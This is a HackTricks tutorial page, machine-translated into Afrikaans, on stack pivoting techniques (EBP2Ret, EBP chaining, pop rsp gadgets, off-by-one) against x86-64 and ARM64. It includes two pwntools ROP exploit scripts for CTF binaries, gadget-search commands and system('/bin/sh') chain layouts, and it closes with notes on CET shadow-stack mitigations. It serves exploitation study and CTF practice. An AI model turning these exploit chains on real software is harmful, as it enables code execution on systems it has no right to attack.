Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 12 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Hierdie tegniek benut die vermoë om die Base Pointer (EBP/RBP) te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die raam pointer en die leave; ret
instruksie volgorde.
Ter herinnering, op x86/x86-64 is leave
gelyk aan:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
En aangesien die gestoor EBP/RBP in die stap is voordat die gestoor EIP/RIP, is dit moontlik om dit te beheer deur die stap te beheer.
Aantekeninge
- Op 64-bis, vervang EBP→RBP en ESP→RSP. Semantiek is dieselfde.
- Sommige kompilators laat die raamwyser weg (sien “EBP mag dalk nie gebruik word”). In daardie geval mag
leave
nie verskyn nie en hierdie tegniek sal nie werk nie.
EBP2Ret
Hierdie tegniek is veral nuttig wanneer jy die gestoor EBP/RBP kan verander, maar geen direkte manier het om EIP/RIP te verander nie. Dit benut die funksie epiloog gedrag.
As jy, tydens fvuln
se uitvoering, daarin slaag om 'n valse EBP in die stap in te spuit wat na 'n area in geheue wys waar jou shellcode/ROP-ketting adres geleë is (plus 8 bytes op amd64 / 4 bytes op x86 om vir die pop
rekening te hou), kan jy indirek RIP beheer. Soos die funksie terugkeer, stel leave
RSP op die vervaardigde ligging en die daaropvolgende pop rbp
verminder RSP, wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is. Dan sal ret
daardie adres gebruik.
Let op hoe jy 2 adresse moet weet: die adres waar ESP/RSP gaan gaan, en die waarde wat op daardie adres gestoor is wat ret
sal verbruik.
Exploit Konstruksie
Eerstens moet jy 'n adres weet waar jy arbitrêre data/adresse kan skryf. RSP sal hierheen wys en die eerste ret
verbruik.
Dan moet jy die adres kies wat deur ret
gebruik word wat uitvoering sal oordra. Jy kan gebruik:
- 'n Geldige ONE_GADGET adres.
- Die adres van
system()
gevolg deur die toepaslike terugkeer en argumente (op x86:ret
teiken =&system
, dan 4 rommelbytes, dan&"/bin/sh"
). - Die adres van 'n
jmp esp;
gadget (ret2esp) gevolg deur inline shellcode. - 'n ROP ketting wat in skryfbare geheue gestoor is.
Onthou dat voor enige van hierdie adresse in die beheerde area, daar moet wees spasie vir die pop ebp/rbp
van leave
(8B op amd64, 4B op x86). Jy kan hierdie bytes misbruik om 'n tweede valse EBP in te stel en beheer te hou nadat die eerste oproep terugkeer.
Off-By-One Exploit
Daar is 'n variant wat gebruik word wanneer jy slegs die minste betekenisvolle byte van die gestoor EBP/RBP kan verander. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met ret
die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat 'n 1-byte oorskrywing dit kan herlei. Gewoonlik word die lae byte (offset 0x00) verhoog om so ver as moontlik binne 'n nabye blad/uitgelijnde streek te spring.
Dit is ook algemeen om 'n RET-slee in die stap te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe RSP binne die slee wys en die finale ROP-ketting uitgevoer word.
EBP Ketting
Deur 'n beheerde adres in die gestoor EBP
slot van die stap te plaas en 'n leave; ret
gadget in EIP/RIP
, is dit moontlik om ESP/RSP
na 'n deur die aanvaller beheerde adres te beweeg.
Nou is RSP
beheerde en die volgende instruksie is ret
. Plaas in die beheerde geheue iets soos:
&(next fake EBP)
-> Gelaai deurpop ebp/rbp
vanleave
.&system()
-> Geroep deurret
.&(leave;ret)
-> Nadatsystem
eindig, beweeg RSP na die volgende valse EBP en gaan voort.&("/bin/sh")
-> Argument virsystem
.
Op hierdie manier is dit moontlik om verskeie valse EBPs te ketting om die vloei van die program te beheer.
Dit is soos 'n ret2lib, maar meer kompleks en slegs nuttig in randgevalle.
Boonop het jy hier 'n voorbeeld van 'n uitdaging wat hierdie tegniek gebruik met 'n staplek om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 uitlijningswenk: System V ABI vereis 16-byte stapeluitlijning by oproep plekke. As jou ketting funksies soos
system
aanroep, voeg 'n uitlijningsgadget by (bv.ret
, ofsub rsp, 8 ; ret
) voor die oproep om uitlijning te handhaaf enmovaps
crashes te vermy.
EBP mag dalk nie gebruik word nie
Soos in hierdie pos verduidelik, as 'n binêre met sekere optimalisasies of met raamwyser weglating gecompileer word, beheer die EBP/RBP nooit die ESP/RSP nie. Daarom sal enige ontploffing wat werk deur EBP/RBP te beheer, misluk omdat die proloog/epiloog nie van die raamwyser herstel nie.
- Nie geoptimaliseer / raamwyser gebruik:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Geoptimaliseer / raamwyser weggelaat:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Op amd64 sal jy dikwels pop rbp ; ret
sien in plaas van leave ; ret
, maar as die raamwyser heeltemal weggelaat word, is daar geen rbp
-gebaseerde epiloog om deur te pivot nie.
Ander maniere om RSP te beheer
pop rsp
gadget
In this page kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir daardie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente aan te roep, en daar was 'n pop rsp
gadget en daar is 'n leak van die stapel:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Kyk die ret2esp tegniek hier:
Vind pivot gadgets vinnig
Gebruik jou gunsteling gadget soeker om te soek na klassieke pivot primitiewe:
leave ; ret
op funksies of in bibliotekepop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(ofadd esp, <imm> ; ret
op x86)
Voorbeelde:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klassieke pivot staging patroon
'n Robuuste pivot strategie wat in baie CTFs/exploits gebruik word:
- Gebruik 'n klein aanvanklike oorgang om
read
/recv
in 'n groot skryfbare gebied (bv..bss
, heap, of gemapte RW geheue) te bel en plaas 'n volle ROP-ketting daar. - Keer terug na 'n pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) om RSP na daardie gebied te beweeg. - Gaan voort met die gestage ketting (bv. lek libc, bel
mprotect
, danread
shellcode, dan spring daarna).
Moderne verskansings wat stap pivoting breek (CET/Shadow Stack)
Moderne x86 CPU's en OS's implementeer toenemend CET Shadow Stack (SHSTK). Met SHSTK geaktiveer, vergelyk ret
die terugkeeradres op die normale stapel met 'n hardeware-beskermde skadu-stapel; enige wanverhouding veroorsaak 'n Control-Protection fout en dood die proses. Daarom sal tegnieke soos EBP2Ret/leave;ret-gebaseerde pivots ineenstort sodra die eerste ret
van 'n gepivote stapel uitgevoer word.
- Vir agtergrond en dieper besonderhede sien:
- Vinige kontroles op Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Aantekeninge vir laboratoriums/CTF:
-
Sommige moderne distros aktiveer SHSTK vir CET-geaktiveerde binêre wanneer hardeware en glibc ondersteuning teenwoordig is. Vir beheerde toetsing in VM's kan SHSTK stelselwyd gedeaktiveer word via die kern opstartparameter
nousershstk
, of selektief geaktiveer word via glibc tunables tydens opstart (sien verwysings). Moet nie versagtings op produksiedoelwitte deaktiveer nie. -
JOP/COOP of SROP-gebaseerde tegnieke mag steeds lewensvatbaar wees op sommige teikens, maar SHSTK breek spesifiek
ret
-gebaseerde pivots. -
Windows nota: Windows 10+ stel gebruikersmodus bloot en Windows 11 voeg kernmodus "Hardeware-afgedwonge Stapbeskerming" by wat op skadu stapels gebaseer is. CET-compatibele prosesse voorkom stap pivoting/ROP by
ret
; ontwikkelaars kies in via CETCOMPAT en verwante beleide (sien verwysing).
ARM64
In ARM64, die proloog en epiloge van die funksies stoor en herwin nie die SP register in die stapel nie. Boonop, die RET
instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar na die adres binne x30
.
Daarom, standaard, net deur die epiloge te misbruik, sal jy nie in staat wees om die SP register te beheer deur sommige data binne die stapel te oorskryf nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om die x30
register te beheer.
- proloog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP wys na raamrekord
- epiloge
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Die manier om iets soortgelyks aan stap pivoting in ARM64 uit te voer, sou wees om in staat te wees om die SP te beheer (deur 'n register te beheer waarvan die waarde aan SP
oorgedra word of omdat om een of ander rede SP
sy adres van die stapel neem en ons 'n oorskrywing het) en dan die epiloge te misbruik om die x30
register van 'n beheerde SP
te laai en RET
daarna.
Ook op die volgende bladsy kan jy die ekwivalent van Ret2esp in ARM64 sien:
Verwysings
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_array
entries + calling__libc_csu_fini
(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK,
nousershstk
,/proc/$PID/status
flags, and enabling viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.